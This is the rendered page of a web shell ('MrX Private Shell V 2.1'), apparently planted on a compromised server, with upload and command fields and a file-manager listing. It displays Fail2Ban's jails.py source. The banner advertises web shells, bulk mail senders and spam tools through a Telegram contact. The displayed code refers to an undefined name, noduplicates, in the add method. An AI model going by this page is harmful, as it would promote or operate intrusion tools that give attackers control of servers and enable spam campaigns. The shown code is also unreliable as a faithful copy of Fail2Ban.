__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
# emacs: -*- mode: python; py-indent-offset: 4; indent-tabs-mode: t -*-
# vi: set ft=python sts=4 ts=4 sw=4 noet :

# This file is part of Fail2Ban.
#
# Fail2Ban is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# Fail2Ban is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Fail2Ban; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.

__author__ = "Cyril Jaquier, Yaroslav Halchenko"
__copyright__ = "Copyright (c) 2004 Cyril Jaquier, 2013- Yaroslav Halchenko"
__license__ = "GPL"

from threading import Lock
try:
	from collections.abc import Mapping
except ImportError:
	from collections import Mapping

from ..exceptions import DuplicateJailException, UnknownJailException
from .jail import Jail


class Jails(Mapping):
	"""Handles the jails.

	This class handles the jails. Creation, deletion or access to a jail
	must be done through this class. This class is thread-safe which is
	not the case of the jail itself, including filter and actions. This
	class is based on Mapping type, and the `add` method must be used to
	add additional jails.
	"""

	def __init__(self):
		self.__lock = Lock()
		self._jails = dict()

	def add(self, name, backend, db=None):
		"""Adds a jail.

		Adds a new jail if not already present which should use the
		given backend.

		Parameters
		----------
		name : str
			The name of the jail.
		backend : str
			The backend to use.
		db : Fail2BanDb
			Fail2Ban's persistent database instance.

		Raises
		------
		DuplicateJailException
			If jail name is already present.
		"""
		with self.__lock:
			if name in self._jails:
				if noduplicates:
					raise DuplicateJailException(name)
			else:
				self._jails[name] = Jail(name, backend, db)

	def exists(self, name):
		return name in self._jails

	def __getitem__(self, name):
		try:
			self.__lock.acquire()
			return self._jails[name]
		except KeyError:
			raise UnknownJailException(name)
		finally:
			self.__lock.release()

	def __delitem__(self, name):
		try:
			self.__lock.acquire()
			del self._jails[name]
		except KeyError:
			raise UnknownJailException(name)
		finally:
			self.__lock.release()

	def __len__(self):
		try:
			self.__lock.acquire()
			return len(self._jails)
		finally:
			self.__lock.release()

	def __iter__(self):
		try:
			self.__lock.acquire()
			return iter(self._jails)
		finally:
			self.__lock.release()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 974 B 0644
action.py File 29.81 KB 0644
actions.py File 24.31 KB 0644
asyncserver.py File 10.03 KB 0644
banmanager.py File 10.66 KB 0644
database.py File 29.01 KB 0644
datedetector.py File 19.03 KB 0644
datetemplate.py File 12.43 KB 0644
failmanager.py File 4.97 KB 0644
failregex.py File 13.21 KB 0644
filter.py File 47.54 KB 0644
filtergamin.py File 3.53 KB 0644
filterpoll.py File 5.26 KB 0644
filterpyinotify.py File 12.74 KB 0644
filtersystemd.py File 14.44 KB 0644
ipdns.py File 16.89 KB 0644
jail.py File 11.3 KB 0644
jails.py File 2.77 KB 0644
jailthread.py File 3.96 KB 0644
mytime.py File 7.5 KB 0644
observer.py File 17.17 KB 0644
server.py File 29.75 KB 0644
strptime.py File 13.1 KB 0644
ticket.py File 8.26 KB 0644
transmitter.py File 15.82 KB 0644
utils.py File 11.71 KB 0644
Filemanager